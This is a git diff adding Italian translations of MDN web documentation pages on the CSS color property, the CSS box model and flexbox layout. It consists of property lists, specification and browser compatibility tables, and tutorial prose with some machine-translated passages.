+ <p>La proprietà<code> color </code>è supportata molto bene da tutti i browser più comuni.<br>
+  Una tabella di compatibilità tra browser è qui: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/color_value" rel="internal">&lt;color&gt;</a></code></span> </span>.</p>
+</div>
+<div id="section_7">
+ <h3 class="editable" id="Vedere_anche"><span>Vedere anche</span></h3>
+ <br>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <ul>
+  <li><span class="lang lang-en"><span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/color_value" rel="internal" title="../../it/CSS/color value">Valori di &lt;color&gt;</a></code></span></span></li>
+  <li><a class="external" href="http://html-color-codes.com/" rel="external nofollow" title="http://html-color-codes.com/">Color Chart by VisiBone</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/it/web/css/css_box_model/index.html b/files/it/web/css/css_box_model/index.html
new file mode 100644
index 0000000000..65d01c1965
--- /dev/null
+++ b/files/it/web/css/css_box_model/index.html
@@ -0,0 +1,165 @@
+---
+title: CSS Box Model
+slug: Web/CSS/CSS_Box_Model
+tags:
+  - CSS
+  - CSS Box Model
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Box Model</strong> is a module of CSS that defines the rectangular boxes—including their padding and margin—that are generated for elements and laid out according to the <a href="/en-US/docs/Web/CSS/Visual_formatting_model">visual formatting model</a>.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<h4 id="Properties_controlling_the_flow_of_content_in_a_box">Properties controlling the flow of content in a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_size_of_a_box">Properties controlling the size of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_margins_of_a_box">Properties controlling the margins of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_paddings_of_a_box">Properties controlling the paddings of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Other_properties">Other properties</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">Introduction to the CSS box model</a></dt>
+ <dd>Explains one of the fundamental concept of CSS: the box model. This model defines how CSS lays out elements, including their content, padding, border, and margin areas.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a></dt>
+ <dd>Sometimes, two adjacent margins are collapsed into one. This article describes the rules that govern when and why this happens, and how to control it.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Visual_formatting_model">Visual formatting model</a></dt>
+ <dd>Explains the visual formatting model.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/it/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/it/web/css/css_box_model/introduction_to_the_css_box_model/index.html
new file mode 100644
index 0000000000..6aa8f3ae9e
--- /dev/null
+++ b/files/it/web/css/css_box_model/introduction_to_the_css_box_model/index.html
@@ -0,0 +1,68 @@
+---
+title: Introduzione al box model in CSS
+slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+tags:
+  - CSS
+  - CSS Box Model
+  - Guida
+translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+---
+<div>{{CSSRef}}</div>
+
+<div>Quando un browser presenta un documento HTML all'utente,  il motore del browser rappresenta ogni elemento del documento come un rettangolo, chiamato box, secondo lo standard del <strong>box model di CSS</strong>. Il codice CSS determina le dimensioni, la posizione e le proprietà (colore, background, spessore del bordo, ecc.) dei box.</div>
+
+<div> </div>
+
+<p>Ogni box è composto da quattro parti (o <em>aree</em>), definite dai rispettivi limiti: il limite del contenuto, il limite del padding, il limite del bordo e il limite del margine.</p>
+
+<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/15585/boxmodel-(3_ita).png" style="height: 384px; width: 548px;"></p>
+
+<p><a name="content-area"></a>L'<strong>area del contenuto</strong>, circoscritta dal limite del contenuto, è dove si trova il contenuto vero e proprio dell'elemento, come testo, immagini o un video. Le sue dimensioni sono chiamate <em>content width</em> (o <em>content-box width</em>) e <em>content height</em> (o <em>content-box height</em>). Spesso ha un colore o una immagine di background.</p>
+
+<p>Se la proprietà {{cssxref("box-sizing")}} è impostata su <code>content-box</code> ( valore di default), le dimensioni dell'area del contenuo si possono definire esplicitamente con le proprietà {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, e {{cssxref("max-height")}}.</p>
+
+<p><a name="padding-area"></a>L'<strong>area del padding</strong>, circoscritta dal limite del padding, estende l'area del contenuto per includere il padding dell'elemento. Le sue dimensioni sono chiamate <em>padding-box width</em> e <em>padding-box height</em>. Se l'area del contenuto ha un background, il background si estende all'area del padding.</p>
+
+<p>lo spessore del padding è determinato tramite le proprietà {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}, o usando la forma abbreviata {{cssxref("padding")}}.</p>
+
+<p><a name="border-area"></a>L'<strong>area del bordo</strong>, circoscritta dal limite del bordo, estende l'area del padding per includere i bordi dell'elemento. Le sue dimensioni sono chiamate <em>border-box width</em> e <em>border-box height</em>.</p>
+
+<p>Lo spessore dei bordi è determinato tramite la proprietà {{cssxref("border-width")}}, o usando la forma abbreviata {{cssxref("border")}}. Se la proprietà {{cssxref("box-sizing")}} è impostata su  <code>border-box</code>, le dimensioni dell'area del bordo possono essere definite esplicitamente usando le proprietà {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, e {{cssxref("max-height")}}.</p>
+
+<p><a name="margin-area"></a>L'<strong>area del margine</strong>, circoscritta dal limite del margine, estende l'area del bordo per includere uno spazio vuoto usato per separare l'elemento dagli elementi vicini. Le sue dimensioni sono chiamate <em>margin-box width e</em> <em>margin-box height</em>.</p>
+
+<p>Le dimensioni dell'area del margine sono determinate tramite le proprietà {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}, o usando la forma abbreviata {{cssxref("margin")}}. Quando si verifica un caso di margini che collassano (<a href="/en/CSS/margin_collapsing" title="en/CSS/margin_collapsing">margin collapsing</a>), l'area del margine non è più chiaramente definita, perché i margini di due differenti box vengono condivisi.</p>
+
+<p>Infine, si noti come negli elementi non-replaced (ossia elementi che hanno il contenuto inserito nell'HTML tra l'etichetta di apertura e chiusura dell'elemento, come <code>&lt;span&gt;contenuto&lt;/span&gt;</code> anziché derivare il contenuto da una fonte esterna come <code>src </code>per le etichette <code>&lt;img&gt;</code>)  e con disposizione in linea (inline), la quantità di spazio che occupano (il loro contributo all'altezza della linea) è determinato dalla proprietà {{cssxref('line-height')}}, anche se i bordi e il padding sono comunque mostrati attorno al contenuto.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Descrizione più precisa, ma nessun cambio a livello pratico.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName("CSS1","#formatting-model")}}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/it/docs/Web/CSS/Guida_di_riferimento_ai_CSS" title="CSS Reference">Guida di riferimento CSS</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li>Proprietà CSS relazionate: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}</li>
+</ul>
diff --git a/files/it/web/css/css_flexible_box_layout/index.html b/files/it/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..fadc582c86
--- /dev/null
+++ b/files/it/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,118 @@
+---
+title: CSS Flexible Box Layout
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Flexible</strong> is a module of CSS that defines a multi-column layout, allowing to express how content should flows between columns, and how gaps and rules are handled.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></dt>
+ <dd>Step-by-step tutorial about how to build layouts using this feature.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Using flexbox to lay out Web applications</a></dt>
+ <dd>Tutorial explaining how to use flexbox in the specific context of Web applications.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("20.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>10.0{{property_prefix("-ms")}}<br>
+    11.0</td>
+   <td>12.10</td>
+   <td>6.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>4.4</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td><span style="font-size: 12px; line-height: 18px;">7.1{{property_prefix("-webkit")}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/it/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html b/files/it/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html
new file mode 100644
index 0000000000..9acef6a218
--- /dev/null
+++ b/files/it/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html
@@ -0,0 +1,394 @@
+---
+title: Using CSS flexible boxes
+slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">Il CSS3 <strong>Flexible Box</strong>, o <strong>flexbox</strong>, è un <a href="/en-US/docs/Web/CSS/Layout_mode">layout mode</a> che prevede la disposizione di elementi su una pagina in modo tale che questi si comportino prevedibilmente quando la pagina di layout cambia di risoluzione o quando si cambia schermo .</span> Per molti utilizzi, il flexible box model fornisce un miglioramento rispetto al block model in quanto non utilizza i floats, né il collasso dei margini nel contenuto flex con margini del proprio contenuto.</p>
+
+<p>Molti designers troveranno il flexbox model facile da usare. Gli elementi figli in flexbox <span id="result_box" lang="it"><span class="hps">possono essere</span> <span class="hps">disposti in</span> <span class="hps">qualsiasi direzione</span> <span class="hps">e possono </span><span class="hps">avere dimensioni</span> <span class="hps">flessibili per</span> <span class="hps">adattarsi</span> <span class="hps">allo spazio</span> <span class="hps">dello schermo</span></span>. <span id="result_box" lang="it"><span class="hps">Il posizionamento degli elementi</span> <span class="hps">figli </span><span class="hps">è quindi</span> <span class="hps">molto più facile</span><span>,</span> <span class="hps">e</span> i <span class="hps">layout complessi</span> <span class="hps">possono essere realizzati</span> <span class="hps">più semplicemente</span> <span class="hps">e</span> <span class="hps">con</span> <span class="hps">codice più pulito</span><span>,</span> anche <span class="hps">l'ordine di visualizzazione</span> <span class="hps">degli elementi</span> <span class="hps">è indipendente</span> <span class="hps">dal loro ordine</span> <span class="hps">nel codice sorgente</span><span>.</span></span> Questa indipendenza colpisce solo la resa visiva, non stravolgendo l'ordine del codice.</p>
+
+<div class="note"><strong>Nota:</strong> Anche <a href="http://www.w3.org/TR/css3-flexbox/">CSS Flexible Boxes Layout specification</a> è in fase Last Call Working Draft stage (vedi anche <a href="http://dev.w3.org/csswg/css-flexbox/">Latest Editor draft</a>), non tutti i borwser hanno implementato completamente le funzioni del Flexbox. Detto questo, vi è un buon supporto su tutta la linea per flexbox. Guarda la <a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes#Browser_compatibility">tabella delle compatibilità</a> su ogni proprietà per aggiornarti sullo stato di compatibilità.</div>
+
+<h2 id="Caratteristiche_del_flexible_boxes">Caratteristiche del flexible boxes</h2>
+
+<p>L'aspetto caratterizzante del layout flex è la possibilità di modificare larghezza e/o altezza  riempiendo bene lo spazio creato dai vari schermi di dispositivi. Un contenitore flessibile estende gli elementi per riempire lo spazio disponibile, o restringe per evitare overflow.</p>
+
+<p>L'algoritmo del flexbox layout è direction-agnostic rispetto al block layout, che è vertically-based, o all'inline layout, che è horizontally-based. Mentre il block layout funziona bene per le pagine, <span id="result_box" lang="it"><span class="hps">non è sufficientemente adatto</span><span class="hps"> per sostenere</span> <span class="hps">componenti applicativi</span> <span class="hps">che devono</span> <span class="hps">modificare l'orientamento</span></span>, ridimensionamento, larghezza, o restringimento causati dai diversi user agent, cambi da orizzontale a verticale, e così via. Il layout flexbox è più appropriato per alcuni utilizzi, come layouts su piccola scala, mentre il Grid layout (in fase di svliluppo)  è destinato ai layout di scala più ampia. <span id="result_box" lang="it"><span class="hps">Entrambi fanno parte di</span> <span class="hps">uno sforzo più ampio</span> <span class="hps">del</span> <span class="hps">CSS Working Group</span> <span class="hps">per fornire</span> <span class="hps">una maggiore</span> <span class="hps">interoperabilità delle</span> <span class="hps">applicazioni web</span> <span class="hps">con diversi</span> user agents<span>,</span> <span class="hps">diverse modalità</span> <span class="hps">di scrittura</span><span>,</span> <span class="hps">e altre richieste</span> <span class="hps">di flessibilità</span><span>.</span></span></p>
+
+<h2 id="Vocabolario_del_flexible_boxes">Vocabolario del flexible boxes</h2>
+
+<p>Mentre la discussione di flexible boxes è libera da termini come assi horizontal/inline e  assi vertical/block , richiede comunque una nuova terminologia propria per descrivere il modello. <span id="result_box" lang="it"><span class="hps">Si consideri il seguente</span> <span class="hps">schema</span> <span class="hps">al momento di rivedere</span> <span class="hps">gli elementi</span> <span class="hps">di vocabolario</span> <span class="hps">qui sotto</span></span>. <span id="result_box" lang="it"><span class="hps">Essa mostra</span> <span class="hps">un contenitore</span> <span class="hps">flessibile</span> <span class="hps">che</span> <span class="hps">ha un</span> </span><code>flex-direction</code> <span lang="it"><span> di</span> </span><code>row</code><span lang="it"><span>,</span> <span class="hps">il che significa che</span> <span class="hps">gli elementi</span> <span class="hps">flessibili</span> <span class="hps">susseguono</span> <span class="hps">orizzontalmente attraverso</span> <span class="hps">l'asse principale</span> <span class="hps">secondo</span> <span class="hps">la modalità di scrittura</span> <span class="hps">stabilita</span><span>,</span> <span class="hps">la direzione in cui</span> <span class="hps">il testo dell'elemento</span> <span class="hps">scorre</span><span>,</span> <span class="hps">in</span> <span class="hps">questo caso</span> <span class="hps">da sinistra a</span> <span class="hps">destra.</span></span></p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png"></p>
+
+<dl>
+ <dt>Flex container</dt>
+ <dd><span id="result_box" lang="it"><span class="atn hps">L'</span><span>elemento principale</span> <span class="hps">in cui gli elementi</span> <span class="hps">di flessione</span> <span class="hps">sono contenuti</span><span>.</span> <span class="hps">Un contenitore</span> <span class="hps">flex</span> <span class="hps">viene definito utilizzando i</span> <span class="hps">valori di</span> </span><code>flex</code> <span lang="it"><span class="hps">o</span> </span><code>inline-flex</code><span lang="it"> <span class="atn hps">della </span><span class="alt-edited hps">proprietà</span><span class="atn hps"> {</span><span class="atn">{</span><span>Cssxref</span> <span class="atn hps">(</span><span class="atn hps">"</span><span>visualizzazione</span><span>"</span><span>)}</span><span>}</span> <span>.</span></span></dd>
+ <dt>Flex item</dt>
+ <dd>
+ <p><span id="result_box" lang="it"><span class="alt-edited hps">Ciascun figlio</span> <span class="hps">di un contenitore</span> <span class="hps">flessibile</span> <span class="hps">diventa</span> <span class="hps">un elemento</span> <span class="hps">flessibile</span><span>.</span> <span class="alt-edited hps">Del testo</span> <span class="hps">direttamente</span> <span class="hps">contenuto in un contenitore</span> <span class="hps">flessibile</span> <span class="hps">è avvolto in</span> <span class="hps">un elemento</span> <span class="hps">flex</span> <span class="hps">anonimo</span><span>.</span></span></p>
+ </dd>
+ <dt>Axes</dt>
+ <dd>
+ <p><span id="result_box" lang="it"><span class="hps">Ogni</span> </span> flexible box <span lang="it"> <span class="hps">di layout</span> <span class="hps">flessibile</span> <span class="hps">segue due</span> <span class="hps">assi</span><span>.</span> <span class="hps">L'<strong>asse principale</strong></span> <span class="hps">è l'asse</span> <span class="hps">lungo il quale</span> <span class="hps">gli elementi</span> <span class="hps">flessibili</span> <span class="hps">susseguono</span><span>.</span> <span class="hps">L'<strong>asse</strong></span><strong> <span class="hps">trasversale</span></strong> <span class="hps">è l'asse</span> <span class="hps">perpendicolare all'<strong>asse</strong></span><strong> </strong><span class="hps"><strong>principale</strong>.</span></span></p>
+
+ <ul>
+  <li><code>Il <a href="/en-US/docs/Web/CSS/flex-direction">flex-direction</a></code> proprietà che stabilisce l'asse principale.</li>
+  <li><code>Il </code><a href="/en-US/docs/Web/CSS/justify-content"><code>justify-content</code></a> <span id="result_box" lang="it"><span class="hps">proprietà definisce</span> <span class="hps">come gli elementi</span> <span class="hps">flessibili</span> <span class="hps">siano</span> <span class="hps">disposti</span> <span class="hps">lungo l'asse principale</span> <span class="hps">sulla riga corrente</span><span>.</span></span></li>
+  <li>La <a href="/en-US/docs/Web/CSS/align-items"><code>align-items</code></a> proprietà che definisce di default per come i flex items sono disposti lungo l'asse trasversale sulla riga corrente.</li>
+  <li>La <a href="/en-US/docs/Web/CSS/align-self"><code>align-self</code></a> proprietà che definisce come un singolo elemento flessibile sia allineato sull'asse principale, è sostituisce il valore predefinito da <code>align-items.</code></li>
+ </ul>
+ </dd>
+ <dt>Directions</dt>
+ <dd>
+ <p>La <strong>main start</strong>/<strong>main end </strong>e <strong>cross start</strong>/<strong>cross end</strong> <span id="result_box" lang="it"><span class="hps">lati del contenitore</span> <span class="hps">flex</span> <span class="hps">descrivono</span> <span class="hps">l'origine e</span> la fine <span class="hps">del</span> <span class="hps">flusso</span> <span class="hps">degli</span> <span class="hps">elementi</span> <span class="hps">flessibili</span><span>. </span><span class="hps">Seguono</span> <span class="hps">l'asse principale</span> <span class="hps">e l'asse</span> <span class="hps">trasversale</span> <span class="hps">del contenitore</span> <span class="hps">flex</span> <span class="hps">nel vettore</span> <span class="hps">stabilito dalla</span> </span> <code>writing-mode</code><span lang="it"> <span class="atn hps">(</span><span>da sinistra a</span> <span class="hps">destra</span><span>,</span> <span class="hps">da destra a</span> <span class="hps">sinistra</span><span>,</span> <span class="hps">ecc</span><span>)</span><span>.</span></span></p>
+
+ <ul>
+  <li>La <a href="/en-US/docs/Web/CSS/order"><code>order</code></a> proprietà che assegna elementi a gruppi ordinati e determina quali elementi appaiono per primi.</li>
+  <li>La <a href="/en-US/docs/Web/CSS/flex-flow"><code>flex-flow</code></a> proprietà shorthands <code>la </code><a href="/en-US/docs/Web/CSS/flex-direction"><code>flex-direction</code></a> <code>e </code><a href="/en-US/docs/Web/CSS/flex-wrap"><code>flex-wrap</code></a> proprietà per layout the flex items.</li>
+ </ul>
+ </dd>
+ <dt>Lines</dt>
+ <dd>
+ <p>Gli elementi Flex possono essere disposti su una singola linea o più linee in base alla proprietà <a href="/en-US/docs/Web/CSS/flex-wrap"><code>flex-wrap</code></a>, <span id="result_box" lang="it"><span class="hps">che controlla la</span> <span class="hps">direzione dell'asse</span> <span class="hps">trasversale</span> <span class="hps">e la direzione</span> <span class="hps">in cui le nuove</span> <span class="hps">righe sono ravvicinate.</span></span></p>
+ </dd>
+ <dt>Dimensions</dt>
+ <dd>
+ <p>gli elementi di height e width sono <strong>main size</strong> e <strong>cross size,</strong> che seguono rispettivamente l'asse principale e l'asse trasversale del contenitore flex.</p>
+
+ <ul>
+  <li><code>La <a href="/en-US/docs/Web/CSS/min-height">min-height</a></code> e <code><a href="/en-US/docs/Web/CSS/min-width">min-width</a></code> proprietà con valore iniziale 0.</li>
+  <li>La proprietà shorthands <a href="/en-US/docs/Web/CSS/flex"><code>flex</code></a> la <a href="/en-US/docs/Web/CSS/flex-grow"><code>flex-grow</code></a>, <a href="/en-US/docs/Web/CSS/flex-shrink"><code>flex-shrink</code></a>, e <a href="/en-US/docs/Web/CSS/flex-basis"><code>flex-basis</code></a> <span id="result_box" lang="it"><span class="hps">proprietà</span> <span class="hps">per stabilire la</span> <span class="hps">flessibilità</span> <span class="hps">degli elementi</span> <span class="hps">flessibili</span><span>.</span></span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Scegliere_un_flexible_box">Scegliere un flexible box</h2>
+
+<p>Per scegliere un CSS da usare per assegnare uno stile agli elementi, imposta la proprietà <a href="/en-US/docs/Web/CSS/display">display</a> e prova:</p>
+
+<pre class="brush: css">display : flex</pre>
+
+<p>o</p>
+
+<pre class="brush: css">display : inline-flex</pre>
+
+<p>In questo modo definisce gli elementi come un contenitore flessibile e i figli come elementi flessibili. Il valore <code>flex</code> rende il contenitore flex un block-level element. IL valore <code>inline-flex</code> rende il contenitore flex come inline-level element.</p>
+
+<div class="note"><strong>Nota:</strong> Per il prefix tag, aggiungerlo sulla proprietà di visualizzazione, non sul selettore display. Per esempio, <code>display : -webkit-flex</code>.</div>
+
+<h2 id="Considerazione_elementi_flessibili">Considerazione elementi flessibili</h2>
+
+<p>Il testo contenuto all'interno di un contenitore flessibile fa parte automaticamente di un elemento flex anonimo . <span id="result_box" lang="it"><span class="hps">Tuttavia</span><span>,</span> <span class="hps">un elemento</span> <span class="hps">flex</span> <span class="hps">anonimo</span> <span class="hps">che contiene</span> <span class="hps">solo spazi vuoti</span> <span class="hps">non</span> <span class="hps">è considerato</span></span>, come se fosse <code>display: none</code>.</p>
+
+<p><span lang="it"><span class="hps">Figli</span> <span class="hps">posizionati in modo assoluto</span> <span class="hps">di un contenitore</span> <span class="hps">flex</span> <span class="hps">sono posizionati in modo</span> <span class="hps">che la loro posizione</span> iniziale <span class="hps">sia determinata</span> <span class="hps">in</span> <span class="hps">riferimento al</span> <span class="hps">principale</span> </span>start content-box<span lang="it"><span> del</span> <span class="hps">loro contenitore</span> <span class="hps">flessibile</span><span>.</span></span></p>
+
+<p>Attualmente, a causa di un problema noto, <code>specificando visibility: collapse</code> su un elemento flessibile, questo viene visto come <code>display: none</code>, invece <code>si ha il comportamento previsto con visibility: hidden</code>. La soluzione prevista, fino a quando il problema non verrà risolto, è quello di usare <code>visibility:hidden</code> per gli elementi flessibili che dovrebbero comportarsi come <code>visibility:collapse</code>. Per ulteriori informazioni, vedi {{bug(783470)}}.</p>
+
+<p>I margini di elementi flessibili non collassano. Usando i margini <code>auto</code> assorbono spazio extra nella direzione verticale o orizzontale <span id="result_box" lang="it"><span class="hps">e può essere utilizzato</span> <span class="hps">per l'allineamento</span> <span class="hps">o</span> <span class="hps">per separare gli elementi</span> flessibili <span class="hps">adiacenti</span></span>. Vedi <a href="http://dev.w3.org/csswg/css3-flexbox/#auto-margins">Aligning with 'auto' margins</a> nel W3C Flexible Box Layout Model specification per maggiori dettagli.</p>
+
+<p><s>To ensure a reasonable default minimum size for flex items, use <code>min-width:auto</code> and/or <code>min-height:auto</code>. For flex items, the <code>auto</code> attribute value calculates the minimum width/height of the item to be no less than the width/height of its content, guaranteeing that the item is rendered large enough to hold the content. See {{cssxref("min-width")}} and {{cssxref("min-height")}} for more details.</s></p>
+
